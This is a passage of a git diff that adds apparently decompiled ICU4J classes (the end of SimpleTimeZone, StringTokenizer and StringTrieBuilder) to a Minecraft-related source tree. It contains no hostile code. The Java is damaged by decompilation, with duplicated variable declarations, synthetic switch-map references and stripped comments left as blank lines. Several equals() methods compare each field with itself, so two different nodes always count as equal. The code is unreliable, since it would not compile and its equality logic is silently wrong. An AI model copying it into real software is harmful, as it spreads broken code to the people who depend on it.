+        dtRule = new DateTimeRule(startMonth, startDay, startDayOfWeek, true, startTime, timeRuleType);
+        
+        break;
+      case 4: 
+        dtRule = new DateTimeRule(startMonth, startDay, startDayOfWeek, false, startTime, timeRuleType);
+      }
+      
+      
+
+      dstRule = new AnnualTimeZoneRule(getID() + "(DST)", getRawOffset(), getDSTSavings(), dtRule, startYear, Integer.MAX_VALUE);
+      
+
+
+      long firstDstStart = dstRule.getFirstStart(getRawOffset(), 0).getTime();
+      
+
+      timeRuleType = endTimeMode == 2 ? 2 : endTimeMode == 1 ? 1 : 0;
+      
+      switch (endMode) {
+      case 1: 
+        dtRule = new DateTimeRule(endMonth, endDay, endTime, timeRuleType);
+        break;
+      case 2: 
+        dtRule = new DateTimeRule(endMonth, endDay, endDayOfWeek, endTime, timeRuleType);
+        break;
+      case 3: 
+        dtRule = new DateTimeRule(endMonth, endDay, endDayOfWeek, true, endTime, timeRuleType);
+        
+        break;
+      case 4: 
+        dtRule = new DateTimeRule(endMonth, endDay, endDayOfWeek, false, endTime, timeRuleType);
+      }
+      
+      
+
+      stdRule = new AnnualTimeZoneRule(getID() + "(STD)", getRawOffset(), 0, dtRule, startYear, Integer.MAX_VALUE);
+      
+
+
+      long firstStdStart = stdRule.getFirstStart(getRawOffset(), dstRule.getDSTSavings()).getTime();
+      
+
+      if (firstStdStart < firstDstStart) {
+        initialRule = new InitialTimeZoneRule(getID() + "(DST)", getRawOffset(), dstRule.getDSTSavings());
+        
+        firstTransition = new TimeZoneTransition(firstStdStart, initialRule, stdRule);
+      } else {
+        initialRule = new InitialTimeZoneRule(getID() + "(STD)", getRawOffset(), 0);
+        firstTransition = new TimeZoneTransition(firstDstStart, initialRule, dstRule);
+      }
+    }
+    else
+    {
+      initialRule = new InitialTimeZoneRule(getID(), getRawOffset(), 0);
+    }
+    transitionRulesInitialized = true;
+  }
+  
+
+  private transient boolean isFrozen = false;
+  
+
+
+
+  public boolean isFrozen()
+  {
+    return isFrozen;
+  }
+  
+
+
+
+  public TimeZone freeze()
+  {
+    isFrozen = true;
+    return this;
+  }
+  
+
+
+
+  public TimeZone cloneAsThawed()
+  {
+    SimpleTimeZone tz = (SimpleTimeZone)super.cloneAsThawed();
+    isFrozen = false;
+    return tz;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/util/StringTokenizer.java b/src/minecraft/com/ibm/icu/util/StringTokenizer.java
new file mode 100644
index 0000000..47649f1
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/StringTokenizer.java
@@ -0,0 +1,690 @@
+package com.ibm.icu.util;
+
+import com.ibm.icu.text.UTF16;
+import com.ibm.icu.text.UnicodeSet;
+import java.util.Enumeration;
+import java.util.NoSuchElementException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class StringTokenizer
+  implements Enumeration<Object>
+{
+  private int m_tokenOffset_;
+  private int m_tokenSize_;
+  private int[] m_tokenStart_;
+  private int[] m_tokenLimit_;
+  private UnicodeSet m_delimiters_;
+  private String m_source_;
+  private int m_length_;
+  private int m_nextOffset_;
+  private boolean m_returnDelimiters_;
+  private boolean m_coalesceDelimiters_;
+  
+  public StringTokenizer(String str, UnicodeSet delim, boolean returndelims)
+  {
+    this(str, delim, returndelims, false);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public StringTokenizer(String str, UnicodeSet delim, boolean returndelims, boolean coalescedelims)
+  {
+    m_source_ = str;
+    m_length_ = str.length();
+    if (delim == null) {
+      m_delimiters_ = EMPTY_DELIMITER_;
+    }
+    else {
+      m_delimiters_ = delim;
+    }
+    m_returnDelimiters_ = returndelims;
+    m_coalesceDelimiters_ = coalescedelims;
+    m_tokenOffset_ = -1;
+    m_tokenSize_ = -1;
+    if (m_length_ == 0)
+    {
+      m_nextOffset_ = -1;
+    }
+    else {
+      m_nextOffset_ = 0;
+      if (!returndelims) {
+        m_nextOffset_ = getNextNonDelimiter(0);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public StringTokenizer(String str, UnicodeSet delim)
+  {
+    this(str, delim, false, false);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public StringTokenizer(String str, String delim, boolean returndelims)
+  {
+    this(str, delim, returndelims, false);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public StringTokenizer(String str, String delim, boolean returndelims, boolean coalescedelims)
+  {
+    m_delimiters_ = EMPTY_DELIMITER_;
+    if ((delim != null) && (delim.length() > 0)) {
+      m_delimiters_ = new UnicodeSet();
+      m_delimiters_.addAll(delim);
+      checkDelimiters();
+    }
+    m_coalesceDelimiters_ = coalescedelims;
+    m_source_ = str;
+    m_length_ = str.length();
+    m_returnDelimiters_ = returndelims;
+    m_tokenOffset_ = -1;
+    m_tokenSize_ = -1;
+    if (m_length_ == 0)
+    {
+      m_nextOffset_ = -1;
+    }
+    else {
+      m_nextOffset_ = 0;
+      if (!returndelims) {
+        m_nextOffset_ = getNextNonDelimiter(0);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public StringTokenizer(String str, String delim)
+  {
+    this(str, delim, false, false);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public StringTokenizer(String str)
+  {
+    this(str, DEFAULT_DELIMITERS_, false, false);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public boolean hasMoreTokens()
+  {
+    return m_nextOffset_ >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public String nextToken()
+  {
+    if (m_tokenOffset_ < 0) {
+      if (m_nextOffset_ < 0) {
+        throw new NoSuchElementException("No more tokens in String");
+      }
+      
+      if (m_returnDelimiters_) {
+        int tokenlimit = 0;
+        int c = UTF16.charAt(m_source_, m_nextOffset_);
+        boolean contains = (c < delims.length) && (delims[c] != 0) ? true : delims == null ? m_delimiters_.contains(c) : false;
+        
+
+        if (contains) {
+          if (m_coalesceDelimiters_) {
+            tokenlimit = getNextNonDelimiter(m_nextOffset_);
+          } else {
+            tokenlimit = m_nextOffset_ + UTF16.getCharCount(c);
+            if (tokenlimit == m_length_) {
+              tokenlimit = -1;
+            }
+          }
+        }
+        else
+          tokenlimit = getNextDelimiter(m_nextOffset_);
+        String result;
+        String result;
+        if (tokenlimit < 0) {
+          result = m_source_.substring(m_nextOffset_);
+        }
+        else {
+          result = m_source_.substring(m_nextOffset_, tokenlimit);
+        }
+        m_nextOffset_ = tokenlimit;
+        return result;
+      }
+      
+      int tokenlimit = getNextDelimiter(m_nextOffset_);
+      String result;
+      if (tokenlimit < 0) {
+        String result = m_source_.substring(m_nextOffset_);
+        m_nextOffset_ = tokenlimit;
+      }
+      else {
+        result = m_source_.substring(m_nextOffset_, tokenlimit);
+        m_nextOffset_ = getNextNonDelimiter(tokenlimit);
+      }
+      
+      return result;
+    }
+    
+
+    if (m_tokenOffset_ >= m_tokenSize_)
+      throw new NoSuchElementException("No more tokens in String");
+    String result;
+    String result;
+    if (m_tokenLimit_[m_tokenOffset_] >= 0) {
+      result = m_source_.substring(m_tokenStart_[m_tokenOffset_], m_tokenLimit_[m_tokenOffset_]);
+    }
+    else
+    {
+      result = m_source_.substring(m_tokenStart_[m_tokenOffset_]);
+    }
+    m_tokenOffset_ += 1;
+    m_nextOffset_ = -1;
+    if (m_tokenOffset_ < m_tokenSize_) {
+      m_nextOffset_ = m_tokenStart_[m_tokenOffset_];
+    }
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public String nextToken(String delim)
+  {
+    m_delimiters_ = EMPTY_DELIMITER_;
+    if ((delim != null) && (delim.length() > 0)) {
+      m_delimiters_ = new UnicodeSet();
+      m_delimiters_.addAll(delim);
+    }
+    return nextToken(m_delimiters_);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public String nextToken(UnicodeSet delim)
+  {
+    m_delimiters_ = delim;
+    checkDelimiters();
+    m_tokenOffset_ = -1;
+    m_tokenSize_ = -1;
+    if (!m_returnDelimiters_) {
+      m_nextOffset_ = getNextNonDelimiter(m_nextOffset_);
+    }
+    return nextToken();
+  }
+  
+
+
+
+
+
+
+
+
+
+  public boolean hasMoreElements()
+  {
+    return hasMoreTokens();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public Object nextElement()
+  {
+    return nextToken();
+  }
+  
+
+
+
+
+
+
+
+
+
+  public int countTokens()
+  {
+    int result = 0;
+    if (hasMoreTokens()) {
+      if (m_tokenOffset_ >= 0) {
+        return m_tokenSize_ - m_tokenOffset_;
+      }
+      if (m_tokenStart_ == null) {
+        m_tokenStart_ = new int[100];
+        m_tokenLimit_ = new int[100];
+      }
+      do {
+        if (m_tokenStart_.length == result) {
+          int[] temptokenindex = m_tokenStart_;
+          int[] temptokensize = m_tokenLimit_;
+          int originalsize = temptokenindex.length;
+          int newsize = originalsize + 100;
+          m_tokenStart_ = new int[newsize];
+          m_tokenLimit_ = new int[newsize];
+          System.arraycopy(temptokenindex, 0, m_tokenStart_, 0, originalsize);
+          
+          System.arraycopy(temptokensize, 0, m_tokenLimit_, 0, originalsize);
+        }
+        
+        m_tokenStart_[result] = m_nextOffset_;
+        if (m_returnDelimiters_) {
+          int c = UTF16.charAt(m_source_, m_nextOffset_);
+          boolean contains = (c < delims.length) && (delims[c] != 0) ? true : delims == null ? m_delimiters_.contains(c) : false;
+          
+
+          if (contains) {
+            if (m_coalesceDelimiters_) {
+              m_tokenLimit_[result] = getNextNonDelimiter(m_nextOffset_);
+            }
+            else {
+              int p = m_nextOffset_ + 1;
+              if (p == m_length_) {
+                p = -1;
+              }
+              m_tokenLimit_[result] = p;
+            }
+            
+          }
+          else {
+            m_tokenLimit_[result] = getNextDelimiter(m_nextOffset_);
+          }
+          m_nextOffset_ = m_tokenLimit_[result];
+        }
+        else {
+          m_tokenLimit_[result] = getNextDelimiter(m_nextOffset_);
+          m_nextOffset_ = getNextNonDelimiter(m_tokenLimit_[result]);
+        }
+        result++;
+      } while (m_nextOffset_ >= 0);
+      m_tokenOffset_ = 0;
+      m_tokenSize_ = result;
+      m_nextOffset_ = m_tokenStart_[0];
+    }
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final UnicodeSet DEFAULT_DELIMITERS_ = new UnicodeSet(new int[] { 9, 10, 12, 13, 32, 32 });
+  
+
+
+
+  private static final int TOKEN_SIZE_ = 100;
+  
+
+
+  private static final UnicodeSet EMPTY_DELIMITER_ = UnicodeSet.EMPTY;
+  
+
+
+
+  private boolean[] delims;
+  
+
+
+
+
+  private int getNextDelimiter(int offset)
+  {
+    if (offset >= 0) {
+      int result = offset;
+      int c = 0;
+      if (delims == null) {
+        do {
+          c = UTF16.charAt(m_source_, result);
+          if (m_delimiters_.contains(c)) {
+            break;
+          }
+          result++;
+        } while (result < m_length_);
+      } else {
+        do {
+          c = UTF16.charAt(m_source_, result);
+          if ((c < delims.length) && (delims[c] != 0)) {
+            break;
+          }
+          result++;
+        } while (result < m_length_);
+      }
+      if (result < m_length_) {
+        return result;
+      }
+    }
+    return -1 - m_length_;
+  }
+  
+
+
+
+
+
+
+
+  private int getNextNonDelimiter(int offset)
+  {
+    if (offset >= 0) {
+      int result = offset;
+      int c = 0;
+      if (delims == null) {
+        do {
+          c = UTF16.charAt(m_source_, result);
+          if (!m_delimiters_.contains(c)) {
+            break;
+          }
+          result++;
+        } while (result < m_length_);
+      } else {
+        do {
+          c = UTF16.charAt(m_source_, result);
+          if ((c >= delims.length) || (delims[c] == 0)) {
+            break;
+          }
+          result++;
+        } while (result < m_length_);
+      }
+      if (result < m_length_) {
+        return result;
+      }
+    }
+    return -1 - m_length_;
+  }
+  
+  void checkDelimiters() {
+    if ((m_delimiters_ == null) || (m_delimiters_.size() == 0)) {
+      delims = new boolean[0];
+    } else {
+      int maxChar = m_delimiters_.getRangeEnd(m_delimiters_.getRangeCount() - 1);
+      if (maxChar < 127) {
+        delims = new boolean[maxChar + 1];
+        int ch; for (int i = 0; -1 != (ch = m_delimiters_.charAt(i)); i++) {
+          delims[ch] = true;
+        }
+      } else {
+        delims = null;
+      }
+    }
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/util/StringTrieBuilder.java b/src/minecraft/com/ibm/icu/util/StringTrieBuilder.java
new file mode 100644
index 0000000..e5149ea
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/StringTrieBuilder.java
@@ -0,0 +1,932 @@
+package com.ibm.icu.util;
+
+import java.util.ArrayList;
+import java.util.HashMap;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class StringTrieBuilder
+{
+  /**
+   * @deprecated
+   */
+  protected StringTrieBuilder() {}
+  
+  public static enum Option
+  {
+    FAST, 
+    
+
+
+
+
+
+
+
+
+
+    SMALL;
+    
+
+
+    private Option() {}
+  }
+  
+
+
+  /**
+   * @deprecated
+   */
+  protected void addImpl(CharSequence s, int value)
+  {
+    if (state != State.ADDING)
+    {
+      throw new IllegalStateException("Cannot add (string, value) pairs after build().");
+    }
+    if (s.length() > 65535)
+    {
+      throw new IndexOutOfBoundsException("The maximum string length is 0xffff.");
+    }
+    if (root == null) {
+      root = createSuffixNode(s, 0, value);
+    } else {
+      root = root.add(this, s, 0, value);
+    }
+  }
+  
+  /**
+   * @deprecated
+   */
+  protected final void buildImpl(Option buildOption)
+  {
+    switch (1.$SwitchMap$com$ibm$icu$util$StringTrieBuilder$State[state.ordinal()]) {
+    case 1: 
+      if (root == null) {
+        throw new IndexOutOfBoundsException("No (string, value) pairs were added.");
+      }
+      if (buildOption == Option.FAST) {
+        state = State.BUILDING_FAST;
+
+
+
+
+      }
+      else
+      {
+
+
+
+        state = State.BUILDING_SMALL;
+      }
+      break;
+    
+    case 2: 
+    case 3: 
+      throw new IllegalStateException("Builder failed and must be clear()ed.");
+    case 4: 
+      return;
+    }
+    
+    
+
+
+
+
+    root = root.register(this);
+    root.markRightEdgesFirst(-1);
+    root.write(this);
+    state = State.BUILT;
+  }
+  
+  /**
+   * @deprecated
+   */
+  protected void clearImpl()
+  {
+    strings.setLength(0);
+    nodes.clear();
+    root = null;
+    state = State.ADDING;
+  }
+  
+
+
+
+
+
+
+  private final Node registerNode(Node newNode)
+  {
+    if (state == State.BUILDING_FAST) {
+      return newNode;
+    }
+    
+    Node oldNode = (Node)nodes.get(newNode);
+    if (oldNode != null) {
+      return oldNode;
+    }
+    
+
+    oldNode = (Node)nodes.put(newNode, newNode);
+    assert (oldNode == null);
+    return newNode;
+  }
+  
+
+
+
+
+
+
+
+
+  private final ValueNode registerFinalValue(int value)
+  {
+    lookupFinalValueNode.setFinalValue(value);
+    Node oldNode = (Node)nodes.get(lookupFinalValueNode);
+    if (oldNode != null) {
+      return (ValueNode)oldNode;
+    }
+    ValueNode newNode = new ValueNode(value);
+    
+
+    oldNode = (Node)nodes.put(newNode, newNode);
+    assert (oldNode == null);
+    return newNode;
+  }
+  
+  private static abstract class Node { protected int offset;
+    
+    public Node() { offset = 0; }
+    
+
+    public abstract int hashCode();
+    
+
+    public boolean equals(Object other)
+    {
+      return (this == other) || (getClass() == other.getClass());
+    }
+    
+
+
+
+
+    public Node add(StringTrieBuilder builder, CharSequence s, int start, int sValue)
+    {
+      return this;
+    }
+    
+
+
+
+
+
+    public Node register(StringTrieBuilder builder)
+    {
+      return this;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    public int markRightEdgesFirst(int edgeNumber)
+    {
+      if (offset == 0) {
+        offset = edgeNumber;
+      }
+      return edgeNumber;
+    }
+    
+
+
+
+    public abstract void write(StringTrieBuilder paramStringTrieBuilder);
+    
+
+
+    public final void writeUnlessInsideRightEdge(int firstRight, int lastRight, StringTrieBuilder builder)
+    {
+      if ((offset < 0) && ((offset < lastRight) || (firstRight < offset)))
+        write(builder);
+    }
+    
+    public final int getOffset() { return offset; }
+  }
+  
+  private static class ValueNode extends StringTrieBuilder.Node {
+    protected boolean hasValue;
+    protected int value;
+    
+    public ValueNode() {}
+    
+    public ValueNode(int v) {
+      hasValue = true;
+      value = v;
+    }
+    
+    public final void setValue(int v) { assert (!hasValue);
+      hasValue = true;
+      value = v;
+    }
+    
+    private void setFinalValue(int v) { hasValue = true;
+      value = v;
+    }
+    
+    public int hashCode() {
+      int hash = 1118481;
+      if (hasValue) {
+        hash = hash * 37 + value;
+      }
+      return hash;
+    }
+    
+    public boolean equals(Object other) {
+      if (this == other) {
+        return true;
+      }
+      if (!super.equals(other)) {
+        return false;
+      }
+      ValueNode o = (ValueNode)other;
+      return (hasValue == hasValue) && ((!hasValue) || (value == value));
+    }
+    
+    public StringTrieBuilder.Node add(StringTrieBuilder builder, CharSequence s, int start, int sValue) {
+      if (start == s.length()) {
+        throw new IllegalArgumentException("Duplicate string.");
+      }
+      
+      ValueNode node = builder.createSuffixNode(s, start, sValue);
+      node.setValue(value);
+      return node;
+    }
+    
+    public void write(StringTrieBuilder builder) {
+      offset = builder.writeValueAndFinal(value, true);
+    }
+  }
+  
+  private static final class IntermediateValueNode extends StringTrieBuilder.ValueNode
+  {
+    private StringTrieBuilder.Node next;
+    
+    public IntermediateValueNode(int v, StringTrieBuilder.Node nextNode) {
+      next = nextNode;
+      setValue(v);
+    }
+    
+    public int hashCode() {
+      return (82767594 + value) * 37 + next.hashCode();
+    }
+    
+    public boolean equals(Object other) {
+      if (this == other) {
+        return true;
+      }
+      if (!super.equals(other)) {
+        return false;
+      }
+      IntermediateValueNode o = (IntermediateValueNode)other;
+      return next == next;
+    }
+    
+    public int markRightEdgesFirst(int edgeNumber) {
+      if (offset == 0) {
+        offset = (edgeNumber = next.markRightEdgesFirst(edgeNumber));
+      }
+      return edgeNumber;
+    }
+    
+    public void write(StringTrieBuilder builder) {
+      next.write(builder);
+      offset = builder.writeValueAndFinal(value, false); } }
+  
+  private static final class LinearMatchNode extends StringTrieBuilder.ValueNode { private CharSequence strings;
+    private int stringOffset;
+    private int length;
+    private StringTrieBuilder.Node next;
+    private int hash;
+    
+    public LinearMatchNode(CharSequence builderStrings, int sOffset, int len, StringTrieBuilder.Node nextNode) { strings = builderStrings;
+      stringOffset = sOffset;
+      length = len;
+      next = nextNode;
+    }
+    
+    public int hashCode() { return hash; }
+    
+    public boolean equals(Object other) {
+      if (this == other) {
+        return true;
+      }
+      if (!super.equals(other)) {
+        return false;
+      }
+      LinearMatchNode o = (LinearMatchNode)other;
+      if ((length != length) || (next != next)) {
+        return false;
+      }
+      int i = stringOffset;int j = stringOffset; for (int limit = stringOffset + length; i < limit; j++) {
+        if (strings.charAt(i) != strings.charAt(j)) {
+          return false;
+        }
+        i++;
+      }
+      
+
+
+      return true;
+    }
+    
+    public StringTrieBuilder.Node add(StringTrieBuilder builder, CharSequence s, int start, int sValue) {
+      if (start == s.length()) {
+        if (hasValue) {
+          throw new IllegalArgumentException("Duplicate string.");
+        }
+        setValue(sValue);
+        return this;
+      }
+      
+      int limit = stringOffset + length;
+      for (int i = stringOffset; i < limit; start++) {
+        if (start == s.length())
+        {
+          int prefixLength = i - stringOffset;
+          LinearMatchNode suffixNode = new LinearMatchNode(strings, i, length - prefixLength, next);
+          suffixNode.setValue(sValue);
+          length = prefixLength;
+          next = suffixNode;
+          return this;
+        }
+        char thisChar = strings.charAt(i);
+        char newChar = s.charAt(start);
+        if (thisChar != newChar)
+        {
+          StringTrieBuilder.DynamicBranchNode branchNode = new StringTrieBuilder.DynamicBranchNode();
+          StringTrieBuilder.Node result;
+          StringTrieBuilder.Node thisSuffixNode;
+          StringTrieBuilder.Node result; if (i == stringOffset)
+          {
+            if (hasValue)
+            {
+              branchNode.setValue(value);
+              value = 0;
+              hasValue = false;
+            }
+            stringOffset += 1;
+            length -= 1;
+            StringTrieBuilder.Node thisSuffixNode = length > 0 ? this : next;
+            
+            result = branchNode; } else { StringTrieBuilder.Node result;
+            if (i == limit - 1)
+            {
+              length -= 1;
+              StringTrieBuilder.Node thisSuffixNode = next;
+              next = branchNode;
+              result = this;
+            }
+            else {
+              int prefixLength = i - stringOffset;
+              i++;
+              thisSuffixNode = new LinearMatchNode(strings, i, length - (prefixLength + 1), next);
+              
+              length = prefixLength;
+              next = branchNode;
+              result = this;
+            } }
+          StringTrieBuilder.ValueNode newSuffixNode = builder.createSuffixNode(s, start + 1, sValue);
+          branchNode.add(thisChar, thisSuffixNode);
+          branchNode.add(newChar, newSuffixNode);
+          return result;
+        }
+        i++;
+      }
+      
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+      next = next.add(builder, s, start, sValue);
+      return this;
+    }
+    
+    public StringTrieBuilder.Node register(StringTrieBuilder builder) {
+      next = next.register(builder);
+      
+      int maxLinearMatchLength = builder.getMaxLinearMatchLength();
+      while (length > maxLinearMatchLength) {
+        int nextOffset = stringOffset + length - maxLinearMatchLength;
+        length -= maxLinearMatchLength;
+        LinearMatchNode suffixNode = new LinearMatchNode(strings, nextOffset, maxLinearMatchLength, next);
+        
+        suffixNode.setHashCode();
+        next = builder.registerNode(suffixNode); }
+      StringTrieBuilder.Node result;
+      StringTrieBuilder.Node result;
+      if ((hasValue) && (!builder.matchNodesCanHaveValues())) {
+        int intermediateValue = value;
+        value = 0;
+        hasValue = false;
+        setHashCode();
+        result = new StringTrieBuilder.IntermediateValueNode(intermediateValue, builder.registerNode(this));
+      } else {
+        setHashCode();
+        result = this;
+      }
+      return builder.registerNode(result);
+    }
+    
+    public int markRightEdgesFirst(int edgeNumber) {
+      if (offset == 0) {
+        offset = (edgeNumber = next.markRightEdgesFirst(edgeNumber));
+      }
+      return edgeNumber;
+    }
+    
+    public void write(StringTrieBuilder builder) {
+      next.write(builder);
+      builder.write(stringOffset, length);
+      offset = builder.writeValueAndType(hasValue, value, builder.getMinLinearMatch() + length - 1);
+    }
+    
+    private void setHashCode()
+    {
+      hash = ((124151391 + length) * 37 + next.hashCode());
+      if (hasValue) {
+        hash = (hash * 37 + value);
+      }
+      int i = stringOffset; for (int limit = stringOffset + length; i < limit; i++) {
+        hash = (hash * 37 + strings.charAt(i));
+      }
+    }
+  }
+  
+
+
+  private static final class DynamicBranchNode
+    extends StringTrieBuilder.ValueNode
+  {
+    public DynamicBranchNode() {}
+    
+
+    public void add(char c, StringTrieBuilder.Node node)
+    {
+      int i = find(c);
+      chars.insert(i, c);
+      equal.add(i, node);
+    }
+    
+    public StringTrieBuilder.Node add(StringTrieBuilder builder, CharSequence s, int start, int sValue) {
+      if (start == s.length()) {
+        if (hasValue) {
+          throw new IllegalArgumentException("Duplicate string.");
+        }
+        setValue(sValue);
+        return this;
+      }
+      
+      char c = s.charAt(start++);
+      int i = find(c);
+      if ((i < chars.length()) && (c == chars.charAt(i))) {
+        equal.set(i, ((StringTrieBuilder.Node)equal.get(i)).add(builder, s, start, sValue));
+      } else {
+        chars.insert(i, c);
+        equal.add(i, builder.createSuffixNode(s, start, sValue));
+      }
+      return this;
+    }
+    
+    public StringTrieBuilder.Node register(StringTrieBuilder builder) {
+      StringTrieBuilder.Node subNode = register(builder, 0, chars.length());
+      StringTrieBuilder.BranchHeadNode head = new StringTrieBuilder.BranchHeadNode(chars.length(), subNode);
+      StringTrieBuilder.Node result = head;
+      if (hasValue) {
+        if (builder.matchNodesCanHaveValues()) {
+          head.setValue(value);
+        } else {
+          result = new StringTrieBuilder.IntermediateValueNode(value, builder.registerNode(head));
+        }
+      }
+      return builder.registerNode(result);
+    }
+    
+    private StringTrieBuilder.Node register(StringTrieBuilder builder, int start, int limit) { int length = limit - start;
+      if (length > builder.getMaxBranchLinearSubNodeLength())
+      {
+        int middle = start + length / 2;
+        return builder.registerNode(new StringTrieBuilder.SplitBranchNode(chars.charAt(middle), register(builder, start, middle), register(builder, middle, limit)));
+      }
+      
+
+
+
+      StringTrieBuilder.ListBranchNode listNode = new StringTrieBuilder.ListBranchNode(length);
+      do {
+        char c = chars.charAt(start);
+        StringTrieBuilder.Node node = (StringTrieBuilder.Node)equal.get(start);
+        if (node.getClass() == StringTrieBuilder.ValueNode.class)
+        {
+          listNode.add(c, value);
+        } else {
+          listNode.add(c, node.register(builder));
+        }
+        start++; } while (start < limit);
+      return builder.registerNode(listNode);
+    }
+    
+    private int find(char c) {
+      int start = 0;
+      int limit = chars.length();
+      while (start < limit) {
+        int i = (start + limit) / 2;
+        char middleChar = chars.charAt(i);
+        if (c < middleChar) {
+          limit = i;
+        } else { if (c == middleChar) {
+            return i;
+          }
+          start = i + 1;
+        }
+      }
+      return start;
+    }
+    
+    private StringBuilder chars = new StringBuilder();
+    private ArrayList<StringTrieBuilder.Node> equal = new ArrayList(); }
+  
+  private static abstract class BranchNode extends StringTrieBuilder.Node { protected int hash;
+    
+    public BranchNode() {}
+    
+    public int hashCode() { return hash; }
+    
+    protected int firstEdgeNumber;
+  }
+  
+  private static final class ListBranchNode extends StringTrieBuilder.BranchNode { private StringTrieBuilder.Node[] equal;
+    private int length;
+    
+    public ListBranchNode(int capacity) { hash = (165535188 + capacity);
+      equal = new StringTrieBuilder.Node[capacity];
+      values = new int[capacity];
+      units = new char[capacity];
+    }
+    
+    public boolean equals(Object other) {
+      if (this == other) {
+        return true;
+      }
+      if (!super.equals(other)) {
+        return false;
+      }
+      ListBranchNode o = (ListBranchNode)other;
+      for (int i = 0; i < length; i++) {
+        if ((units[i] != units[i]) || (values[i] != values[i]) || (equal[i] != equal[i])) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+    public int hashCode() {
+      return super.hashCode();
+    }
+    
+    public int markRightEdgesFirst(int edgeNumber) {
+      if (offset == 0) {
+        firstEdgeNumber = edgeNumber;
+        int step = 0;
+        int i = length;
+        do {
+          StringTrieBuilder.Node edge = equal[(--i)];
+          if (edge != null) {
+            edgeNumber = edge.markRightEdgesFirst(edgeNumber - step);
+          }
+          
+          step = 1;
+        } while (i > 0);
+        offset = edgeNumber;
+      }
+      return edgeNumber;
+    }
+    
+
+    private int[] values;
+    private char[] units;
+    public void write(StringTrieBuilder builder)
+    {
+      int unitNumber = length - 1;
+      StringTrieBuilder.Node rightEdge = equal[unitNumber];
+      int rightEdgeNumber = rightEdge == null ? firstEdgeNumber : rightEdge.getOffset();
+      do {
+        unitNumber--;
+        if (equal[unitNumber] != null) {
+          equal[unitNumber].writeUnlessInsideRightEdge(firstEdgeNumber, rightEdgeNumber, builder);
+        }
+      } while (unitNumber > 0);
+      
+
+      unitNumber = length - 1;
+      if (rightEdge == null) {
+        builder.writeValueAndFinal(values[unitNumber], true);
+      } else {
+        rightEdge.write(builder);
+      }
+      offset = builder.write(units[unitNumber]);
+      for (;;) {
+        unitNumber--; if (unitNumber < 0) break;
+        boolean isFinal;
+        int value;
+        boolean isFinal; if (equal[unitNumber] == null)
+        {
+          int value = values[unitNumber];
+          isFinal = true;
+        }
+        else {
+          assert (equal[unitNumber].getOffset() > 0);
+          value = offset - equal[unitNumber].getOffset();
+          isFinal = false;
+        }
+        builder.writeValueAndFinal(value, isFinal);
+        offset = builder.write(units[unitNumber]);
+      }
+    }
+    
+    public void add(int c, int value) {
+      units[length] = ((char)c);
+      equal[length] = null;
+      values[length] = value;
+      length += 1;
+      hash = ((hash * 37 + c) * 37 + value);
+    }
+    
+    public void add(int c, StringTrieBuilder.Node node) {
+      units[length] = ((char)c);
+      equal[length] = node;
+      values[length] = 0;
+      length += 1;
+      hash = ((hash * 37 + c) * 37 + node.hashCode());
+    }
+  }
+  
+
+  private static final class SplitBranchNode
+    extends StringTrieBuilder.BranchNode
+  {
+    private char unit;
+    
+    private StringTrieBuilder.Node lessThan;
+    private StringTrieBuilder.Node greaterOrEqual;
+    
+    public SplitBranchNode(char middleUnit, StringTrieBuilder.Node lessThanNode, StringTrieBuilder.Node greaterOrEqualNode)
+    {
+      hash = (((206918985 + middleUnit) * 37 + lessThanNode.hashCode()) * 37 + greaterOrEqualNode.hashCode());
+      
+      unit = middleUnit;
+      lessThan = lessThanNode;
+      greaterOrEqual = greaterOrEqualNode;
+    }
+    
+    public boolean equals(Object other) {
+      if (this == other) {
+        return true;
+      }
+      if (!super.equals(other)) {
+        return false;
+      }
+      SplitBranchNode o = (SplitBranchNode)other;
+      return (unit == unit) && (lessThan == lessThan) && (greaterOrEqual == greaterOrEqual);
+    }
+    
+    public int hashCode() {
+      return super.hashCode();
+    }
+    
+    public int markRightEdgesFirst(int edgeNumber) {
+      if (offset == 0) {
+        firstEdgeNumber = edgeNumber;
+        edgeNumber = greaterOrEqual.markRightEdgesFirst(edgeNumber);
+        offset = (edgeNumber = lessThan.markRightEdgesFirst(edgeNumber - 1));
+      }
+      return edgeNumber;
+    }
+    
+    public void write(StringTrieBuilder builder)
+    {
+      lessThan.writeUnlessInsideRightEdge(firstEdgeNumber, greaterOrEqual.getOffset(), builder);
+      
+      greaterOrEqual.write(builder);
+      
+      assert (lessThan.getOffset() > 0);
+      builder.writeDeltaTo(lessThan.getOffset());
+      offset = builder.write(unit);
+    }
+  }
